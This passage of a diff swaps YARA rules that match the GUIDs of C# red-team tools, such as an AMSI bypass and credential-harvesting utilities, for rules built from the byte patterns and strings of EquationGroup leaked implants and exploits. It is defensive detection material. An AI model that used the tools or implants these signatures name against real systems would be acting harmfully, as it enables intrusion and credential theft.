+		$op1 = { e9 34 11 00 00 b8 3e 01 00 00 e9 2a 11 00 00 b8 }
+		$op2 = { 48 8b ca e8 bf 84 00 00 4c 8b e0 8d 34 00 44 8d }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <500KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Evasor : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Dmgz_Target : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "457959ed-3e90-52c7-89f9-e1b17b35260e"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/cyberark/Evasor"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L760-L774"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "69bda55c5a1c8f432c582066eab5efb2aa443fbf0a73e7c4d16d7e987cf1db2e"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "182a2488-ac3f-5dc6-aa61-d6d267574d10"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2381-L2395"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9ae3e0c30c9dbee311d4e5576b1a447ac57f8b1786dc5753246ad3c08ccecb85"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "5964966041f93d5d0fb63ce4a85cf9f7a73845065e10519b0947d4a065fdbdf2"
 
 	strings:
-		$typelibguid0lo = "1c8849ef-ad09-4727-bf81-1f777bd1aef8" ascii wide
-		$typelibguid0up = "1C8849EF-AD09-4727-BF81-1F777BD1AEF8" ascii wide
+		$s1 = "\\\\.\\%ls" fullword ascii
+		$s3 = "6\"6<6C6H6M6Z6f6t6" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <80KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Stracciatella : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Setresourcename : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5b1a8102-6d59-5f2f-8ae2-b3c1f75a561d"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/mgeeky/Stracciatella"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L776-L790"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bae17954d54753fe1ce9c04c16fc8bdf43c11994f53a13106441170e310dc3d5"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "dc261147-3b52-57c3-9729-2645a0999a99"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2397-L2413"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e26aac30e06da14060a955761d08e6f543db2f2747be2959b0090f60e6eb52a5"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "537793d5158aecd0debae25416450bd885725adfc8ca53b0577a3df4b0222e2e"
 
 	strings:
-		$typelibguid0lo = "eaafa0ac-e464-4fc4-9713-48aa9a6716fb" ascii wide
-		$typelibguid0up = "EAAFA0AC-E464-4FC4-9713-48AA9A6716FB" ascii wide
+		$x1 = "Updates the name of the dll or executable in the resource file" fullword ascii
+		$x2 = "*NOTE: SetResourceName does not work with PeddleCheap versions" fullword ascii
+		$x3 = "2 = [appinit.dll] level4 dll" fullword ascii
+		$x4 = "1 = [spcss32.exe] level3 exe" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <100KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Logger : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Drivers_Implant : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "82937fef-8280-5bc6-af4a-55c5cb3a7553"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/xxczaki/logger"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L792-L806"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0967d1278c72da256a647f45369d7ba4de8c17698d23d2e06d3723372a676634"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "727a0a8c-0019-53e9-9632-c610299305fc"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2415-L2431"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "45190a317f3d293dbc3015873080d1253bfb3298008f5dea69ab1a5780a70721"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ee8b048f1c6ba821d92c15d614c2d937c32aeda7b7ea0943fd4f640b57b1c1ab"
 
 	strings:
-		$typelibguid0lo = "9e92a883-3c8b-4572-a73e-bb3e61cfdc16" ascii wide
-		$typelibguid0up = "9E92A883-3C8B-4572-A73E-BB3E61CFDC16" ascii wide
+		$s1 = ".?AVFeFinallyFailure@@" fullword ascii
+		$s2 = "hZwLoadDriver" fullword ascii
+		$op1 = { b0 01 e8 58 04 00 00 c3 33 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <30KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Internal_Monologue : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Shares_Target : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "ce2773a2-b0b7-560e-ba21-3f018ddcacb3"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/eladshamir/Internal-Monologue"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L808-L824"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5de43de183553732e48e41d17f441008f0637610d4c15f7f2012437b70750c2c"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "51245be4-6d24-57e4-8c92-c8c1ae5e3cf9"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2433-L2449"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "11a1af97d720286a7fadf8b056f8f7add70acb041a828441166f5c74bc7a819d"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "6c57fb33c5e7d2dee415ae6168c9c3e0decca41ffe023ff13056ff37609235cb"
 
 	strings:
-		$typelibguid0lo = "0c0333db-8f00-4b68-b1db-18a9cacc1486" ascii wide
-		$typelibguid0up = "0C0333DB-8F00-4B68-B1DB-18A9CACC1486" ascii wide
-		$typelibguid1lo = "84701ace-c584-4886-a3cf-76c57f6e801a" ascii wide
-		$typelibguid1up = "84701ACE-C584-4886-A3CF-76C57F6E801A" ascii wide
+		$s1 = "Select * from Win32_Share" fullword ascii
+		$s2 = "slocalhost" fullword wide
+		$s3 = "\\\\%ls\\root\\cimv2" fullword wide
+		$s4 = "\\\\%ls\\%ls" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_GRAT2 : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Ntfltmgr : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "e731d563-0d16-5f84-8127-624a71f8b646"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/r3nhat/GRAT2"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L826-L840"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b4ac181d6bdb40eb58326c00c93ee6d6e78d7cbdb382422873d7f744ad0ec2a1"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "402b14f5-4a7a-58fb-8f4a-0a29d6d34440"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2451-L2475"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9f280baf785f54218cbf47f65419cfe23c687e58021f36b5d116904d2cec9a9b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3df61b8ef42a995b8f15a0d38bc51f2f08f8d9a2afa1afc94c6f80671cf4a124"
+		hash2 = "f7a886ee10ee6f9c6be48c20f370514be62a3fd2da828b0dff44ff3d485ff5c5"
+		hash3 = "980954a2440122da5840b31af7e032e8a25b0ce43e071ceb023cca21cedb2c43"
 
 	strings:
-		$typelibguid0lo = "5e7fce78-1977-444f-a18e-987d708a2cff" ascii wide
-		$typelibguid0up = "5E7FCE78-1977-444F-A18E-987D708A2CFF" ascii wide
+		$s3 = "wCw3wDwAw2wNw@wEwZw2wDwEwBwZwFwFw4w2wZw5w1w4wFwZwGwOwGwGwEw5w2wFwGwDwFwOw" fullword ascii
+		$s6 = "w+w;w2w0w6w4w.w(wRw" fullword ascii
+		$op1 = { 80 f7 ff ff 49 89 84 34 18 02 00 00 41 83 a4 34 }
+		$op2 = { ff 15 0b 34 00 00 eb 92 }
+		$op3 = { 4d 8d b4 34 08 02 00 00 4d 85 f6 0f 84 ae }
+		$op4 = { 8b ca 2b ce 8d 34 01 0f b7 3e 66 3b 7d f0 89 75 }
+		$op5 = { 8a 40 01 00 c7 47 70 }
+		$op6 = { e9 3c ff ff ff 6a ff 8d 45 f0 50 e8 27 11 00 00 }
+		$op7 = { 8b 45 08 53 57 8b 7d 0c c7 40 34 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <100KB and 4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Powershdll : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Diba_Target_BH : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "3f582a47-078e-525f-9d02-4ee7a455a3b2"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/p3nt4/PowerShdll"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L842-L856"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b000c10d55d7d8902c036306dd51a5f3d32b83e88c081f337140e448c2cd836e"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c6ae85b6-0670-558c-9ce5-64bd5822f35b"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2477-L2492"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "273e38e287b1597753f653c0ed8300936581a1b767029d3f0ba757de589bcd5a"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "7ae9a247b60dc31f424e8a7a3b3f1749ba792ff1f4ba67ac65336220021fce9f"
 
 	strings:
-		$typelibguid0lo = "36ebf9aa-2f37-4f1d-a2f1-f2a45deeaf21" ascii wide
-		$typelibguid0up = "36EBF9AA-2F37-4F1D-A2F1-F2A45DEEAF21" ascii wide
+		$op0 = { 44 89 20 e9 40 ff ff ff 8b c2 48 8b 5c 24 60 48 }
+		$op1 = { 45 33 c9 49 8d 7f 2c 41 ba }
+		$op2 = { 89 44 24 34 eb 17 4c 8d 44 24 28 8b 54 24 30 48 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Csharpamsibypass : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_PC_LP : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "ca97004e-edc1-5b5a-ac67-e81ae24631aa"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/WayneJLee/CsharpAmsiBypass"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L858-L872"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c422c6b2dc54f5d62a4e5e85da4add5d0bf4eb5107f6778a45835649581a5517"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c3f8f0f9-80ab-5d8e-be42-59b90dc291cb"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2494-L2508"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "cd7b92f13e0a00d23baef70e38b476b62394106dfa70e831786f398c573aa744"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "3a505c39acd48a258f4ab7902629e5e2efa8a2120a4148511fe3256c37967296"
 
 	strings:
-		$typelibguid0lo = "4ab3b95d-373c-4197-8ee3-fe0fa66ca122" ascii wide
-		$typelibguid0up = "4AB3B95D-373C-4197-8EE3-FE0FA66CA122" ascii wide
+		$s1 = "* Failed to get connection information.  Aborting launcher!" fullword wide
+		$s2 = "Format: <command> <target port> [lp port]" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Hastyseries : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Remotecommand_Lp : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "0d35acf4-c763-593c-94e2-c499d3826375"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/obscuritylabs/HastySeries"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L874-L906"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "79bbcc46c8a327b6d0aec61ceb8516a097f02ac71e692d22f1893a529a011f44"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "98ace4d7-edd0-5e84-bac8-b69e5307f567"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2510-L2524"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "974772264324e7721f51a88534aaa3b4eb1d409e04f673783caf4849d90522de"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "57b47613a3b5dd820dae59fc6dc2b76656bd578f015f367675219eb842098846"
 
 	strings:
-		$typelibguid0lo = "8435531d-675c-4270-85bf-60db7653bcf6" ascii wide
-		$typelibguid0up = "8435531D-675C-4270-85BF-60DB7653BCF6" ascii wide
-		$typelibguid1lo = "47db989f-7e33-4e6b-a4a5-c392b429264b" ascii wide
-		$typelibguid1up = "47DB989F-7E33-4E6B-A4A5-C392B429264B" ascii wide
-		$typelibguid2lo = "300c7489-a05f-4035-8826-261fa449dd96" ascii wide
-		$typelibguid2up = "300C7489-A05F-4035-8826-261FA449DD96" ascii wide
-		$typelibguid3lo = "41bf8781-ae04-4d80-b38d-707584bf796b" ascii wide
-		$typelibguid3up = "41BF8781-AE04-4D80-B38D-707584BF796B" ascii wide
-		$typelibguid4lo = "620ed459-18de-4359-bfb0-6d0c4841b6f6" ascii wide
-		$typelibguid4up = "620ED459-18DE-4359-BFB0-6D0C4841B6F6" ascii wide
-		$typelibguid5lo = "91e7cdfe-0945-45a7-9eaa-0933afe381f2" ascii wide
-		$typelibguid5up = "91E7CDFE-0945-45A7-9EAA-0933AFE381F2" ascii wide
-		$typelibguid6lo = "c28e121a-60ca-4c21-af4b-93eb237b882f" ascii wide
-		$typelibguid6up = "C28E121A-60CA-4C21-AF4B-93EB237B882F" ascii wide
-		$typelibguid7lo = "698fac7a-bff1-4c24-b2c3-173a6aae15bf" ascii wide
-		$typelibguid7up = "698FAC7A-BFF1-4C24-B2C3-173A6AAE15BF" ascii wide
-		$typelibguid8lo = "63a40d94-5318-42ad-a573-e3a1c1284c57" ascii wide
-		$typelibguid8up = "63A40D94-5318-42AD-A573-E3A1C1284C57" ascii wide
-		$typelibguid9lo = "56b8311b-04b8-4e57-bb58-d62adc0d2e68" ascii wide
-		$typelibguid9up = "56B8311B-04B8-4E57-BB58-D62ADC0D2E68" ascii wide
+		$s1 = "Failure parsing command from %hs:%u: os=%u plugin=%u" fullword wide
+		$s2 = "Unable to get TCP listen port: %08x" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Dreamprotectorfree : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Lp_Mstcp : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "9ebee989-3441-5a76-b243-08de978b541c"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/Paskowsky/DreamProtectorFree"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L908-L922"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "04c6daa23bbca852f83853e717c81622130beb3ac2551f8c3e23d2ec75aa0376"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "afa4985e-7c8f-58fc-9881-219ccba6a495"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2526-L2545"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5d1423661f95d955f411414138da45cc4be59b2e6bf8e70f471b8f41fc9ea3f4"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "2ab1e1d23021d887759750a0c053522e9149b7445f840936bbc7e703f8700abd"
 
 	strings:
-		$typelibguid0lo = "f7e8a902-2378-426a-bfa5-6b14c4b40aa3" ascii wide
-		$typelibguid0up = "F7E8A902-2378-426A-BFA5-6B14C4B40AA3" ascii wide
+		$s1 = "\\Registry\\User\\CurrentUser\\" wide
+		$s2 = "_PacketNDISRequestComplete@12\"" fullword ascii
+		$s3 = "_LDNdis5RegDeleteKeys@4" ascii
+		$op1 = { 89 7e 04 75 06 66 21 46 02 eb }
+		$op2 = { fc 74 1b 8b 49 04 0f b7 d3 66 83 }
+		$op3 = { aa 0f b7 45 fc 8b 52 04 8d 4e }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <100KB and ( all of ($s*) or all of ($op*)))
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Redsharp : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Renamer : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "2aa62d61-075c-5664-a7fc-2b9d84b954ed"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/padovah4ck/RedSharp"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L924-L938"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b611422c3bd8d3ed713cbeabadef0402dfdee42e8bbe563b054dc582945d8519"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b5a7c8a8-c30d-5667-a458-6962a24061d3"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2547-L2561"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4941f31be6674499b202a3071d795317e6d97fb19088ea370180708e3d04bca7"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "9c30331cb00ae8f417569e9eb2c645ebbb36511d2d1531bb8d06b83781dfe3ac"
 
 	strings:
-		$typelibguid0lo = "30b2e0cf-34dd-4614-a5ca-6578fb684aea" ascii wide
-		$typelibguid0up = "30B2E0CF-34DD-4614-A5CA-6578FB684AEA" ascii wide
+		$s1 = "FILE_NAME_CONVERSION.LOG" fullword wide
+		$s2 = "Log file exists. You must delete it!!!" fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <80KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_ESC : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_PC_Exploit : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "a57c47e8-62bf-5425-9735-35a3e3a0c218"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/NetSPI/ESC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L940-L956"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ff959136f219b082dd9b601dbf2fea41265ce08a4cf57e368b2b4ac1f09ea698"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "67a4c8b8-87fb-5f2d-a4dd-299d087c77a3"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L2563-L2579"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6f04ec5d1066b34ebee2504f7d229610e525743f7536d58bf99fc4f89ac6aa3b"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "77486bb828dba77099785feda0ca1d4f33ad0d39b672190079c508b3feb21fb0"
 
 	strings:
-		$typelibguid0lo = "06260ce5-61f4-4b81-ad83-7d01c3b37921" ascii wide
-		$typelibguid0up = "06260CE5-61F4-4B81-AD83-7D01C3B37921" ascii wide
-		$typelibguid1lo = "87fc7ede-4dae-4f00-ac77-9c40803e8248" ascii wide
-		$typelibguid1up = "87FC7EDE-4DAE-4F00-AC77-9C40803E8248" ascii wide
+		$s1 = "\\\\.\\pipe\\pcheap_reuse" fullword wide
+		$s2 = "**** FAILED TO DUPLICATE SOCKET ****" fullword wide
+		$s3 = "**** UNABLE TO DUPLICATE SOCKET TYPE %u ****" fullword wide
+		$s4 = "YOU CAN IGNORE ANY 'ServiceEntry returned error' messages after this..." fullword wide
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <20KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Csharp_Loader : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_PC_Level3_Gen : FILE
 {
 	meta:
